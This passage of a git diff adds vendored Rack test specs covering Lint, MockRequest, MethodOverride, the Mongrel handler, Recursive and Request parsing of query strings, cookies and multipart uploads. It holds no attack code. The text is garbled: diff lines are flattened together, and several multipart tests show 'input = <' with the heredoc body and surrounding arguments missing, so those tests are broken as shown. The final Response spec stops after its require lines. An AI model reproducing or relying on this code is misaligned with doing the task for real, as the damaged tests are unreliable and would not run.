Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "text/plain","Content-length" => "3"}, [1,2,3]] + }).call(env({})) + body.each { |part| } + }.should.raise(Rack::Lint::LintError). + message.should.match(/yielded non-string/) + end + + specify "notices input handling errors" do + lambda { + Rack::Lint.new(lambda { |env| + env["rack.input"].gets("\r\n") + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/gets called with arguments/) + + lambda { + Rack::Lint.new(lambda { |env| + env["rack.input"].read("foo") + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/read called with non-integer argument/) + + weirdio = Object.new + class << weirdio + def gets + 42 + end + + def read + 23 + end + + def each + yield 23 + yield 42 + end + end + + lambda { + Rack::Lint.new(lambda { |env| + env["rack.input"].gets + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env("rack.input" => weirdio)) + }.should.raise(Rack::Lint::LintError). + message.should.match(/gets didn't return a String/) + + lambda { + Rack::Lint.new(lambda { |env| + env["rack.input"].each { |x| } + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env("rack.input" => weirdio)) + }.should.raise(Rack::Lint::LintError). + message.should.match(/each didn't yield a String/) + + lambda { + Rack::Lint.new(lambda { |env| + env["rack.input"].read + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env("rack.input" => weirdio)) + }.should.raise(Rack::Lint::LintError). + message.should.match(/read didn't return a String/) + + + lambda { + Rack::Lint.new(lambda { |env| + env["rack.input"].close + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/close must not be called/) + end + + specify "notices error handling errors" do + lambda { + Rack::Lint.new(lambda { |env| + env["rack.errors"].write(42) + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/write not called with a String/) + + lambda { + Rack::Lint.new(lambda { |env| + env["rack.errors"].close + [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/close must not be called/) + end + + specify "notices HEAD errors" do + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "test/plain", "Content-length" => "3"}, []] + }).call(env({"REQUEST_METHOD" => "HEAD"})) + }.should.not.raise + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "test/plain", "Content-length" => "3"}, "foo"] + }).call(env({"REQUEST_METHOD" => "HEAD"})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/body was given for HEAD/) + end +end + +context "Rack::Lint::InputWrapper" do + specify "delegates :size to underlying IO object" do + class IOMock + def size + 101 + end + end + + wrapper = Rack::Lint::InputWrapper.new(IOMock.new) + wrapper.size.should == 101 + end + + specify "delegates :rewind to underlying IO object" do + io = StringIO.new("123") + wrapper = Rack::Lint::InputWrapper.new(io) + wrapper.read.should == "123" + wrapper.read.should == "" + wrapper.rewind + wrapper.read.should == "123" + end +end diff --git a/vendor/plugins/rack/test/spec_rack_lobster.rb b/vendor/plugins/rack/test/spec_rack_lobster.rb new file mode 100644 index 00000000..7be267a2 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_lobster.rb @@ -0,0 +1,45 @@ +require 'test/spec' + +require 'rack/lobster' +require 'rack/mock' + +context "Rack::Lobster::LambdaLobster" do + specify "should be a single lambda" do + Rack::Lobster::LambdaLobster.should.be.kind_of Proc + end + + specify "should look like a lobster" do + res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/") + res.should.be.ok + res.body.should.include "(,(,,(,,,(" + res.body.should.include "?flip" + end + + specify "should be flippable" do + res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/?flip") + res.should.be.ok + res.body.should.include "(,,,(,,(,(" + end +end + +context "Rack::Lobster" do + specify "should look like a lobster" do + res = Rack::MockRequest.new(Rack::Lobster.new).get("/") + res.should.be.ok + res.body.should.include "(,(,,(,,,(" + res.body.should.include "?flip" + res.body.should.include "crash" + end + + specify "should be flippable" do + res = Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=left") + res.should.be.ok + res.body.should.include "(,,,(,,(,(" + end + + specify "should provide crashing for testing purposes" do + lambda { + Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=crash") + }.should.raise + end +end diff --git a/vendor/plugins/rack/test/spec_rack_methodoverride.rb b/vendor/plugins/rack/test/spec_rack_methodoverride.rb new file mode 100644 index 00000000..57452394 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_methodoverride.rb @@ -0,0 +1,60 @@ +require 'test/spec' + +require 'rack/mock' +require 'rack/methodoverride' +require 'stringio' + +context "Rack::MethodOverride" do + specify "should not affect GET requests" do + env = Rack::MockRequest.env_for("/?_method=delete", :method => "GET") + app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) + req = app.call(env) + + req.env["REQUEST_METHOD"].should.equal "GET" + end + + specify "_method parameter should modify REQUEST_METHOD for POST requests" do + env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=put") + app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) + req = app.call(env) + + req.env["REQUEST_METHOD"].should.equal "PUT" + end + + specify "X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests" do + env = Rack::MockRequest.env_for("/", + :method => "POST", + "HTTP_X_HTTP_METHOD_OVERRIDE" => "PUT" + ) + app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) + req = app.call(env) + + req.env["REQUEST_METHOD"].should.equal "PUT" + end + + specify "should not modify REQUEST_METHOD if the method is unknown" do + env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=foo") + app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) + req = app.call(env) + + req.env["REQUEST_METHOD"].should.equal "POST" + end + + specify "should not modify REQUEST_METHOD when _method is nil" do + env = Rack::MockRequest.env_for("/", :method => "POST", :input => "foo=bar") + app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) + req = app.call(env) + + req.env["REQUEST_METHOD"].should.equal "POST" + end + + specify "should store the original REQUEST_METHOD prior to overriding" do + env = Rack::MockRequest.env_for("/", + :method => "POST", + :input => "_method=options") + app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) + req = app.call(env) + + req.env["rack.methodoverride.original_method"].should.equal "POST" + end +end diff --git a/vendor/plugins/rack/test/spec_rack_mock.rb b/vendor/plugins/rack/test/spec_rack_mock.rb new file mode 100644 index 00000000..40c709df --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_mock.rb @@ -0,0 +1,152 @@ +require 'yaml' +require 'rack/mock' +require 'rack/request' +require 'rack/response' + +app = lambda { |env| + req = Rack::Request.new(env) + + env["mock.postdata"] = env["rack.input"].read + if req.GET["error"] + env["rack.errors"].puts req.GET["error"] + env["rack.errors"].flush + end + + Rack::Response.new(env.to_yaml, + req.GET["status"] || 200, + "Content-Type" => "text/yaml").finish +} + +context "Rack::MockRequest" do + specify "should return a MockResponse" do + res = Rack::MockRequest.new(app).get("") + res.should.be.kind_of Rack::MockResponse + end + + specify "should be able to only return the environment" do + env = Rack::MockRequest.env_for("") + env.should.be.kind_of Hash + env.should.include "rack.version" + end + + specify "should provide sensible defaults" do + res = Rack::MockRequest.new(app).request + + env = YAML.load(res.body) + env["REQUEST_METHOD"].should.equal "GET" + env["SERVER_NAME"].should.equal "example.org" + env["SERVER_PORT"].should.equal "80" + env["QUERY_STRING"].should.equal "" + env["PATH_INFO"].should.equal "/" + env["SCRIPT_NAME"].should.equal "" + env["rack.url_scheme"].should.equal "http" + env["mock.postdata"].should.be.empty + end + + specify "should allow GET/POST/PUT/DELETE" do + res = Rack::MockRequest.new(app).get("", :input => "foo") + env = YAML.load(res.body) + env["REQUEST_METHOD"].should.equal "GET" + + res = Rack::MockRequest.new(app).post("", :input => "foo") + env = YAML.load(res.body) + env["REQUEST_METHOD"].should.equal "POST" + + res = Rack::MockRequest.new(app).put("", :input => "foo") + env = YAML.load(res.body) + env["REQUEST_METHOD"].should.equal "PUT" + + res = Rack::MockRequest.new(app).delete("", :input => "foo") + env = YAML.load(res.body) + env["REQUEST_METHOD"].should.equal "DELETE" + + Rack::MockRequest.env_for("/", :method => "OPTIONS")["REQUEST_METHOD"]. + should.equal "OPTIONS" + end + + specify "should allow posting" do + res = Rack::MockRequest.new(app).get("", :input => "foo") + env = YAML.load(res.body) + env["mock.postdata"].should.equal "foo" + + res = Rack::MockRequest.new(app).post("", :input => StringIO.new("foo")) + env = YAML.load(res.body) + env["mock.postdata"].should.equal "foo" + end + + specify "should use all parts of an URL" do + res = Rack::MockRequest.new(app). + get("https://bla.example.org:9292/meh/foo?bar") + res.should.be.kind_of Rack::MockResponse + + env = YAML.load(res.body) + env["REQUEST_METHOD"].should.equal "GET" + env["SERVER_NAME"].should.equal "bla.example.org" + env["SERVER_PORT"].should.equal "9292" + env["QUERY_STRING"].should.equal "bar" + env["PATH_INFO"].should.equal "/meh/foo" + env["rack.url_scheme"].should.equal "https" + end + + specify "should behave valid according to the Rack spec" do + lambda { + res = Rack::MockRequest.new(app). + get("https://bla.example.org:9292/meh/foo?bar", :lint => true) + }.should.not.raise(Rack::Lint::LintError) + end +end + +context "Rack::MockResponse" do + specify "should provide access to the HTTP status" do + res = Rack::MockRequest.new(app).get("") + res.should.be.successful + res.should.be.ok + + res = Rack::MockRequest.new(app).get("/?status=404") + res.should.not.be.successful + res.should.be.client_error + res.should.be.not_found + + res = Rack::MockRequest.new(app).get("/?status=501") + res.should.not.be.successful + res.should.be.server_error + + res = Rack::MockRequest.new(app).get("/?status=307") + res.should.be.redirect + + res = Rack::MockRequest.new(app).get("/?status=201", :lint => true) + res.should.be.empty + end + + specify "should provide access to the HTTP headers" do + res = Rack::MockRequest.new(app).get("") + res.should.include "Content-Type" + res.headers["Content-Type"].should.equal "text/yaml" + res.original_headers["Content-Type"].should.equal "text/yaml" + res["Content-Type"].should.equal "text/yaml" + res.content_type.should.equal "text/yaml" + res.content_length.should.be 381 # needs change often. + res.location.should.be.nil + end + + specify "should provide access to the HTTP body" do + res = Rack::MockRequest.new(app).get("") + res.body.should =~ /rack/ + res.should =~ /rack/ + res.should.match(/rack/) + res.should.satisfy { |r| r.match(/rack/) } + end + + specify "should provide access to the Rack errors" do + res = Rack::MockRequest.new(app).get("/?error=foo", :lint => true) + res.should.be.ok + res.errors.should.not.be.empty + res.errors.should.include "foo" + end + + specify "should optionally make Rack errors fatal" do + lambda { + Rack::MockRequest.new(app).get("/?error=foo", :fatal => true) + }.should.raise(Rack::MockRequest::FatalWarning) + end +end diff --git a/vendor/plugins/rack/test/spec_rack_mongrel.rb b/vendor/plugins/rack/test/spec_rack_mongrel.rb new file mode 100644 index 00000000..1da0af46 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_mongrel.rb @@ -0,0 +1,189 @@ +require 'test/spec' + +begin +require 'rack/handler/mongrel' +require 'rack/urlmap' +require 'rack/lint' +require 'testrequest' +require 'timeout' + +Thread.abort_on_exception = true +$tcp_defer_accept_opts = nil +$tcp_cork_opts = nil + +context "Rack::Handler::Mongrel" do + include TestRequest::Helpers + + setup do + server = Mongrel::HttpServer.new(@host='0.0.0.0', @port=9201) + server.register('/test', + Rack::Handler::Mongrel.new(Rack::Lint.new(TestRequest.new))) + server.register('/stream', + Rack::Handler::Mongrel.new(Rack::Lint.new(StreamingRequest))) + @acc = server.run + end + + specify "should respond" do + lambda { + GET("/test") + }.should.not.raise + end + + specify "should be a Mongrel" do + GET("/test") + status.should.be 200 + response["SERVER_SOFTWARE"].should =~ /Mongrel/ + response["HTTP_VERSION"].should.equal "HTTP/1.1" + response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" + response["SERVER_PORT"].should.equal "9201" + response["SERVER_NAME"].should.equal "0.0.0.0" + end + + specify "should have rack headers" do + GET("/test") + response["rack.version"].should.equal [0,1] + response["rack.multithread"].should.be true + response["rack.multiprocess"].should.be false + response["rack.run_once"].should.be false + end + + specify "should have CGI headers on GET" do + GET("/test") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/test" + response["PATH_INFO"].should.be.nil + response["QUERY_STRING"].should.equal "" + response["test.postdata"].should.equal "" + + GET("/test/foo?quux=1") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/test/foo" + response["PATH_INFO"].should.equal "/foo" + response["QUERY_STRING"].should.equal "quux=1" + end + + specify "should have CGI headers on POST" do + POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) + status.should.equal 200 + response["REQUEST_METHOD"].should.equal "POST" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/test" + response["QUERY_STRING"].should.equal "" + response["HTTP_X_TEST_HEADER"].should.equal "42" + response["test.postdata"].should.equal "rack-form-data=23" + end + + specify "should support HTTP auth" do + GET("/test", {:user => "ruth", :passwd => "secret"}) + response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" + end + + specify "should set status" do + GET("/test?secret") + status.should.equal 403 + response["rack.url_scheme"].should.equal "http" + end + + specify "should provide a .run" do + block_ran = false + Thread.new { + Rack::Handler::Mongrel.run(lambda {}, {:Port => 9211}) { |server| + server.should.be.kind_of Mongrel::HttpServer + block_ran = true + } + } + sleep 1 + block_ran.should.be true + end + + specify "should provide a .run that maps a hash" do + block_ran = false + Thread.new { + map = {'/'=>lambda{},'/foo'=>lambda{}} + Rack::Handler::Mongrel.run(map, :map => true, :Port => 9221) { |server| + server.should.be.kind_of Mongrel::HttpServer + server.classifier.uris.size.should.be 2 + server.classifier.uris.should.not.include '/arf' + server.classifier.uris.should.include '/' + server.classifier.uris.should.include '/foo' + block_ran = true + } + } + sleep 1 + block_ran.should.be true + end + + specify "should provide a .run that maps a urlmap" do + block_ran = false + Thread.new { + map = Rack::URLMap.new({'/'=>lambda{},'/bar'=>lambda{}}) + Rack::Handler::Mongrel.run(map, {:map => true, :Port => 9231}) { |server| + server.should.be.kind_of Mongrel::HttpServer + server.classifier.uris.size.should.be 2 + server.classifier.uris.should.not.include '/arf' + server.classifier.uris.should.include '/' + server.classifier.uris.should.include '/bar' + block_ran = true + } + } + sleep 1 + block_ran.should.be true + end + + specify "should provide a .run that maps a urlmap restricting by host" do + block_ran = false + Thread.new { + map = Rack::URLMap.new({ + '/' => lambda{}, + '/foo' => lambda{}, + '/bar' => lambda{}, + 'http://localhost/' => lambda{}, + 'http://localhost/bar' => lambda{}, + 'http://falsehost/arf' => lambda{}, + 'http://falsehost/qux' => lambda{} + }) + opt = {:map => true, :Port => 9241, :Host => 'localhost'} + Rack::Handler::Mongrel.run(map, opt) { |server| + server.should.be.kind_of Mongrel::HttpServer + server.classifier.uris.should.include '/' + server.classifier.handler_map['/'].size.should.be 2 + server.classifier.uris.should.include '/foo' + server.classifier.handler_map['/foo'].size.should.be 1 + server.classifier.uris.should.include '/bar' + server.classifier.handler_map['/bar'].size.should.be 2 + server.classifier.uris.should.not.include '/qux' + server.classifier.uris.should.not.include '/arf' + server.classifier.uris.size.should.be 3 + block_ran = true + } + } + sleep 1 + block_ran.should.be true + end + + specify "should stream #each part of the response" do + body = '' + begin + Timeout.timeout(1) do + Net::HTTP.start(@host, @port) do |http| + get = Net::HTTP::Get.new('/stream') + http.request(get) do |response| + response.read_body { |part| body << part } + end + end + end + rescue Timeout::Error + end + body.should.not.be.empty + end + + teardown do + @acc.raise Mongrel::StopServer + end +end + +rescue LoadError + $stderr.puts "Skipping Rack::Handler::Mongrel tests (Mongrel is required). `gem install mongrel` and try again." +end diff --git a/vendor/plugins/rack/test/spec_rack_recursive.rb b/vendor/plugins/rack/test/spec_rack_recursive.rb new file mode 100644 index 00000000..afc1a0d9 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_recursive.rb @@ -0,0 +1,77 @@ +require 'test/spec' + +require 'rack/recursive' +require 'rack/urlmap' +require 'rack/response' +require 'rack/mock' + +context "Rack::Recursive" do + setup do + + @app1 = lambda { |env| + res = Rack::Response.new + res["X-Path-Info"] = env["PATH_INFO"] + res["X-Query-String"] = env["QUERY_STRING"] + res.finish do |res| + res.write "App1" + end + } + + @app2 = lambda { |env| + Rack::Response.new.finish do |res| + res.write "App2" + _, _, body = env['rack.recursive.include'].call(env, "/app1") + body.each { |b| + res.write b + } + end + } + + @app3 = lambda { |env| + raise Rack::ForwardRequest.new("/app1") + } + + @app4 = lambda { |env| + raise Rack::ForwardRequest.new("http://example.org/app1/quux?meh") + } + + end + + specify "should allow for subrequests" do + res = Rack::MockRequest.new(Rack::Recursive.new( + Rack::URLMap.new("/app1" => @app1, + "/app2" => @app2))). + get("/app2") + + res.should.be.ok + res.body.should.equal "App2App1" + end + + specify "should raise error on requests not below the app" do + app = Rack::URLMap.new("/app1" => @app1, + "/app" => Rack::Recursive.new( + Rack::URLMap.new("/1" => @app1, + "/2" => @app2))) + + lambda { + Rack::MockRequest.new(app).get("/app/2") + }.should.raise(ArgumentError). + message.should =~ /can only include below/ + end + + specify "should support forwarding" do + app = Rack::Recursive.new(Rack::URLMap.new("/app1" => @app1, + "/app3" => @app3, + "/app4" => @app4)) + + res = Rack::MockRequest.new(app).get("/app3") + res.should.be.ok + res.body.should.equal "App1" + + res = Rack::MockRequest.new(app).get("/app4") + res.should.be.ok + res.body.should.equal "App1" + res["X-Path-Info"].should.equal "/quux" + res["X-Query-String"].should.equal "meh" + end +end diff --git a/vendor/plugins/rack/test/spec_rack_request.rb b/vendor/plugins/rack/test/spec_rack_request.rb new file mode 100644 index 00000000..e63eee04 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_request.rb @@ -0,0 +1,446 @@ +require 'test/spec' +require 'stringio' + +require 'rack/request' +require 'rack/mock' + +context "Rack::Request" do + specify "wraps the rack variables" do + req = Rack::Request.new(Rack::MockRequest.env_for("http://example.com:8080/")) + + req.body.should.respond_to? :gets + req.scheme.should.equal "http" + req.request_method.should.equal "GET" + + req.should.be.get + req.should.not.be.post + req.should.not.be.put + req.should.not.be.delete + req.should.not.be.head + + req.script_name.should.equal "" + req.path_info.should.equal "/" + req.query_string.should.equal "" + + req.host.should.equal "example.com" + req.port.should.equal 8080 + + req.content_length.should.be.nil + req.content_type.should.be.nil + end + + specify "can figure out the correct host" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", "HTTP_HOST" => "www2.example.org") + req.host.should.equal "www2.example.org" + + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", "SERVER_NAME" => "example.org:9292") + req.host.should.equal "example.org" + end + + specify "can parse the query string" do + req = Rack::Request.new(Rack::MockRequest.env_for("/?foo=bar&quux=bla")) + req.query_string.should.equal "foo=bar&quux=bla" + req.GET.should.equal "foo" => "bar", "quux" => "bla" + req.POST.should.be.empty + req.params.should.equal "foo" => "bar", "quux" => "bla" + end + + specify "can parse POST data" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla") + req.content_type.should.be.nil + req.media_type.should.be.nil + req.query_string.should.equal "foo=quux" + req.GET.should.equal "foo" => "quux" + req.POST.should.equal "foo" => "bar", "quux" => "bla" + req.params.should.equal "foo" => "bar", "quux" => "bla" + end + + specify "can parse POST data with explicit content type" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", + "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', + :input => "foo=bar&quux=bla") + req.content_type.should.equal 'application/x-www-form-urlencoded;foo=bar' + req.media_type.should.equal 'application/x-www-form-urlencoded' + req.media_type_params['foo'].should.equal 'bar' + req.POST.should.equal "foo" => "bar", "quux" => "bla" + req.params.should.equal "foo" => "bar", "quux" => "bla" + end + + specify "does not parse POST data when media type is not form-data" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/?foo=quux", + "CONTENT_TYPE" => 'text/plain;charset=utf-8', + :input => "foo=bar&quux=bla") + req.content_type.should.equal 'text/plain;charset=utf-8' + req.media_type.should.equal 'text/plain' + req.media_type_params['charset'].should.equal 'utf-8' + req.POST.should.be.empty + req.params.should.equal "foo" => "quux" + req.body.read.should.equal "foo=bar&quux=bla" + end + + specify "rewinds input after parsing POST data" do + input = StringIO.new("foo=bar&quux=bla") + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", + "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', + :input => input) + req.params.should.equal "foo" => "bar", "quux" => "bla" + input.read.should.equal "foo=bar&quux=bla" + end + + specify "does not rewind unwindable CGI input" do + input = StringIO.new("foo=bar&quux=bla") + input.instance_eval "undef :rewind" + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", + "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', + :input => input) + req.params.should.equal "foo" => "bar", "quux" => "bla" + end + + specify "can get value by key from params with #[]" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("?foo=quux") + req['foo'].should.equal 'quux' + req[:foo].should.equal 'quux' + end + + specify "can set value to key on params with #[]=" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("?foo=duh") + req['foo'].should.equal 'duh' + req[:foo].should.equal 'duh' + req.params.should.equal 'foo' => 'duh' + + req['foo'] = 'bar' + req.params.should.equal 'foo' => 'bar' + req['foo'].should.equal 'bar' + req[:foo].should.equal 'bar' + + req[:foo] = 'jaz' + req.params.should.equal 'foo' => 'jaz' + req['foo'].should.equal 'jaz' + req[:foo].should.equal 'jaz' + end + + specify "values_at answers values by keys in order given" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("?foo=baz&wun=der&bar=ful") + req.values_at('foo').should.equal ['baz'] + req.values_at('foo', 'wun').should.equal ['baz', 'der'] + req.values_at('bar', 'foo', 'wun').should.equal ['ful', 'baz', 'der'] + end + + specify "referrer should be extracted correct" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", "HTTP_REFERER" => "/some/path") + req.referer.should.equal "/some/path" + + req = Rack::Request.new \ + Rack::MockRequest.env_for("/") + req.referer.should.equal "/" + end + + specify "can cache, but invalidates the cache" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla") + req.GET.should.equal "foo" => "quux" + req.GET.should.equal "foo" => "quux" + req.env["QUERY_STRING"] = "bla=foo" + req.GET.should.equal "bla" => "foo" + req.GET.should.equal "bla" => "foo" + + req.POST.should.equal "foo" => "bar", "quux" => "bla" + req.POST.should.equal "foo" => "bar", "quux" => "bla" + req.env["rack.input"] = StringIO.new("foo=bla&quux=bar") + req.POST.should.equal "foo" => "bla", "quux" => "bar" + req.POST.should.equal "foo" => "bla", "quux" => "bar" + end + + specify "can figure out if called via XHR" do + req = Rack::Request.new(Rack::MockRequest.env_for("")) + req.should.not.be.xhr + + req = Rack::Request.new \ + Rack::MockRequest.env_for("", "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest") + req.should.be.xhr + end + + specify "can parse cookies" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("", "HTTP_COOKIE" => "foo=bar;quux=h&m") + req.cookies.should.equal "foo" => "bar", "quux" => "h&m" + req.cookies.should.equal "foo" => "bar", "quux" => "h&m" + req.env.delete("HTTP_COOKIE") + req.cookies.should.equal({}) + end + + specify "parses cookies according to RFC 2109" do + req = Rack::Request.new \ + Rack::MockRequest.env_for('', 'HTTP_COOKIE' => 'foo=bar;foo=car') + req.cookies.should.equal 'foo' => 'bar' + end + + specify "provides setters" do + req = Rack::Request.new(e=Rack::MockRequest.env_for("")) + req.script_name.should.equal "" + req.script_name = "/foo" + req.script_name.should.equal "/foo" + e["SCRIPT_NAME"].should.equal "/foo" + + req.path_info.should.equal "/" + req.path_info = "/foo" + req.path_info.should.equal "/foo" + e["PATH_INFO"].should.equal "/foo" + end + + specify "provides the original env" do + req = Rack::Request.new(e=Rack::MockRequest.env_for("")) + req.env.should.be e + end + + specify "can restore the URL" do + Rack::Request.new(Rack::MockRequest.env_for("")).url. + should.equal "http://example.org/" + Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).url. + should.equal "http://example.org/foo/" + Rack::Request.new(Rack::MockRequest.env_for("/foo")).url. + should.equal "http://example.org/foo" + Rack::Request.new(Rack::MockRequest.env_for("?foo")).url. + should.equal "http://example.org/?foo" + Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).url. + should.equal "http://example.org:8080/" + Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).url. + should.equal "https://example.org/" + + Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).url. + should.equal "https://example.com:8080/foo?foo" + end + + specify "can restore the full path" do + Rack::Request.new(Rack::MockRequest.env_for("")).fullpath. + should.equal "/" + Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).fullpath. + should.equal "/foo/" + Rack::Request.new(Rack::MockRequest.env_for("/foo")).fullpath. + should.equal "/foo" + Rack::Request.new(Rack::MockRequest.env_for("?foo")).fullpath. + should.equal "/?foo" + Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).fullpath. + should.equal "/" + Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).fullpath. + should.equal "/" + + Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).fullpath. + should.equal "/foo?foo" + end + + specify "can handle multiple media type parameters" do + req = Rack::Request.new \ + Rack::MockRequest.env_for("/", + "CONTENT_TYPE" => 'text/plain; foo=BAR,baz=bizzle dizzle;BLING=bam') + req.should.not.be.form_data + req.media_type_params.should.include 'foo' + req.media_type_params['foo'].should.equal 'BAR' + req.media_type_params.should.include 'baz' + req.media_type_params['baz'].should.equal 'bizzle dizzle' + req.media_type_params.should.not.include 'BLING' + req.media_type_params.should.include 'bling' + req.media_type_params['bling'].should.equal 'bam' + end + + specify "can parse multipart form data" do + # Adapted from RFC 1867. + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size, + :input => input) + + req.POST.should.include "fileupload" + req.POST.should.include "reply" + + req.should.be.form_data + req.content_length.should.equal input.size + req.media_type.should.equal 'multipart/form-data' + req.media_type_params.should.include 'boundary' + req.media_type_params['boundary'].should.equal 'AaB03x' + + req.POST["reply"].should.equal "yes" + + f = req.POST["fileupload"] + f.should.be.kind_of Hash + f[:type].should.equal "image/jpeg" + f[:filename].should.equal "dj.jpg" + f.should.include :tempfile + f[:tempfile].size.should.equal 76 + end + + specify "can parse big multipart form data" do + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size, + :input => input) + + req.POST["huge"][:tempfile].size.should.equal 32768 + req.POST["mean"][:tempfile].size.should.equal 10 + req.POST["mean"][:tempfile].read.should.equal "--AaB03xha" + end + + specify "can detect invalid multipart form data" do + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size, + :input => input) + + lambda { req.POST }.should.raise(EOFError) + + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size, + :input => input) + + lambda { req.POST }.should.raise(EOFError) + + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size, + :input => input) + + lambda { req.POST }.should.raise(EOFError) + end + + specify "should work around buggy 1.8.* Tempfile equality" do + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size, + :input => rack_input) + + lambda {req.POST}.should.not.raise + lambda {req.POST}.should.blaming("input re-processed!").not.raise + end + + specify "does conform to the Rack spec" do + app = lambda { |env| + content = Rack::Request.new(env).POST["file"].inspect + size = content.respond_to?(:bytesize) ? content.bytesize : content.size + [200, {"Content-Type" => "text/html", "Content-Length" => size.to_s}, content] + } + + input = < "multipart/form-data, boundary=AaB03x", + "CONTENT_LENGTH" => input.size.to_s, "rack.input" => StringIO.new(input) + + res.should.be.ok + end + + specify "should parse Accept-Encoding correctly" do + parser = lambda do |x| + Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => x)).accept_encoding + end + + parser.call(nil).should.equal([]) + + parser.call("compress, gzip").should.equal([["compress", 1.0], ["gzip", 1.0]]) + parser.call("").should.equal([]) + parser.call("*").should.equal([["*", 1.0]]) + parser.call("compress;q=0.5, gzip;q=1.0").should.equal([["compress", 0.5], ["gzip", 1.0]]) + parser.call("gzip;q=1.0, identity; q=0.5, *;q=0").should.equal([["gzip", 1.0], ["identity", 0.5], ["*", 0] ]) + + lambda { parser.call("gzip ; q=1.0") }.should.raise(RuntimeError) + end + + specify 'should provide ip information' do + app = lambda { |env| + request = Rack::Request.new(env) + response = Rack::Response.new + response.write request.ip + response.finish + } + + mock = Rack::MockRequest.new(Rack::Lint.new(app)) + res = mock.get '/', 'REMOTE_ADDR' => '123.123.123.123' + res.body.should == '123.123.123.123' + + res = mock.get '/', + 'REMOTE_ADDR' => '123.123.123.123', + 'HTTP_X_FORWARDED_FOR' => '234.234.234.234' + + res.body.should == '234.234.234.234' + + res = mock.get '/', + 'REMOTE_ADDR' => '123.123.123.123', + 'HTTP_X_FORWARDED_FOR' => '234.234.234.234,212.212.212.212' + + res.body.should == '212.212.212.212' + end +end diff --git a/vendor/plugins/rack/test/spec_rack_response.rb b/vendor/plugins/rack/test/spec_rack_response.rb new file mode 100644 index 00000000..748007af --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_response.rb @@ -0,0 +1,174 @@ +require 'test/spec' +require 'set' + 